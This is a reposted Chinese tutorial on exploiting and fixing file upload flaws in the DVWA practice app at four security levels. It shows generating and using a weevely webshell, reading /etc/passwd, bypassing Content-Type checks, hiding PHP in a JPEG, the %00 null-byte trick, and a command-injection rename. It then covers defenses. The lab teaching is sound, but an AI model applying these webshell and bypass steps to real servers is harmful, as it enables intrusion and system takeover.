栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > PHP

DVWA 黑客攻防实战(五)文件上传漏洞 File Upload

PHP 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

DVWA 黑客攻防实战(五)文件上传漏洞 File Upload

说起文件上传漏洞 ,可谓是印象深刻。有次公司的网站突然访问不到了,同事去服务器看了一下。所有 webroot 文件夹下的所有文件都被重命名成其他文件,比如 jsp 文件变成 jsp.s ,以致于路径映射不到 jsp 文件,同事怀疑是攻击者上传了个 webshell 文件然后进行批量重命名了。

把后台的代码都找了一遍,后台代码也都有验证文件扩展名的,后面是发现一张普通的照片其实是代码来的,但也不知道为何能够执行。但看完这篇文章你就会明白了。 下面用 dvwa 来演示如何攻击和防御。

低级

用户界面是这样的,是一个简单的上传文件功能。

然而 Hacker 就上传一个 phpinfo.php 文件

。。。结果如下

然后打开链接 http://192.168.31.166:5678/hackable/uploads/phpinfo.php ,又看到熟悉的界面了。

Hacker 想用 webshell 的方式尝试一下。于是就用 Kali Linux 预装的 weevely 工具生成一个 webshell 文件,这里的 123456 是密码,这个 webshell 要用密码登录的。

weevely generate 123456 /root/webshell.phpGenerated backdoor with password '123456' in '/root/webshell.php' of 1479 byte size.

上传完文件后,登录

weevely http://192.168.31.166:5678/hackable/uploads/webshell.php 123456weevely> ls
dvwa_email.pngwebshell.php
www-data@56e69b5b67b6:/var/www/html/hackable/uploads $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

就变成你的地盘我做主了。 再来看看低级代码。

Your image was not uploaded.
';     }    else {        // Yes!         echo "
{$target_path} succesfully uploaded!
";     } }     ?>

为何会变成这样的呢?觉得主要是没有限制文件扩展名吧。

中级

而中级代码,多了文件类型和文件大小的限制

Your image was not uploaded.
';         }        else {            // Yes!             echo "
{$target_path} succesfully uploaded!
";         }     }    else {        // Invalid file         echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
';     } }?>

这里代码看上去好像类型都判断了,应该是不能上传 php 代码了吧。 然而 Hacker 打开火狐浏览器的调试器(谷歌浏览器没有修改功能,用 brup suite 之类的抓包也可以的),找到对应请求后右键选择-> edit and resend 然后将头部的 content-type 改掉,再重发请求

结果如下

打开链接 http://192.168.31.166:5678/hackable/uploads/phpinfo.php ,依然能看到熟悉的界面。

高级

中级的代码有漏洞的原因是用 content-type 去判断文件类型了,如果用扩展名去判断还有问题吗?高级代码就是这样想的,代码如下

Your image was not uploaded.
';         }        else {            // Yes!             echo "
{$target_path} succesfully uploaded!
";         }     }    else {        // Invalid file         echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
';     } }?>

我尝试过将 phpinfo.php 改成 phpinfo.php.png ,然而不成功,因为调用了 getimagesize 这个函数,如果不是图片文件就会返回 false。 但是如果这图片既是图片又是代码呢? 有人能想到了吗? 11年左右百度贴吧风靡一时图种。

比如这是大家老婆的图片

保存下来,将扩展名改成 zip ,再解压(用命令行 unzip)。。。就有福利。

为什么可以这样 因为比如文件有特定的 jpg 标识,如果用看图程序打开,只会去看有图片标识的那部分,如果用 zip 压缩文件打开,也只会看有 zip 标识的那部分,其他部分会忽略的。 所以它既是图片也是种子。因此。我们可以制作类似图种的东西去注入 webshell。

  • windows copy /b D:gakki.jpg + D:webshell.php D:gakki.jpg

  • linux/unix cat webshell.php >> gakki.jpg

所以我们可以制作一个 “图php"

cat phpinfo.php >> gakki.jpg

只是上传后,重命名是个问题。

php 5.4 之下还容易解决,因为那个版本就有个漏洞上传gakki.php%00.jpg这种文件会当成gakki.php来执行的,因为 c语言等语言是用 判断字符符结束的,所以该会被服务器当成 gakki.php 执行。

在 File Upload 页面没法重名了。。。找不到其他方法。唯有借助同一级别下的漏洞比如是命令行注入漏洞

然后输入在 |mv ../../gakki.jpg ../../gakki.php ,再访问文件,结果如下

不可能

不可能级别的代码有添加了这些

  • 使用 imagecreatefromjpeg 或 imagecreatefrompng 去掉了不属于图片的部分

  • 为文件重命名成 随机字符串。因为如何上传的文件是 phpshell.php.rar ,Apache 不认识 rar 格式就会向前解析,文件就解析成 phpshell.php 了。

  • 用 anti-token 解决一些 CSRF 问题

代码如下:

${target_file} succesfully uploaded!
";         }        else {            // No             echo '
Your image was not uploaded.
';         }        // Delete any temp files         if( file_exists( $temp_file ) )             unlink( $temp_file );     }    else {        // Invalid file         echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
';     } }// Generate Anti-CSRF tokengenerateSessionToken();?>

也有其他手段防御文件上传漏洞(《白帽子讲web安全》):

  • 设置文件目录不可以执行

  • 给文件服务器设置单独的域名,因为不同源的原因,请求会被浏览器拦截

原文出处:https://www.cnblogs.com/jojo-feed/p/10173026.html  

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/226924.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号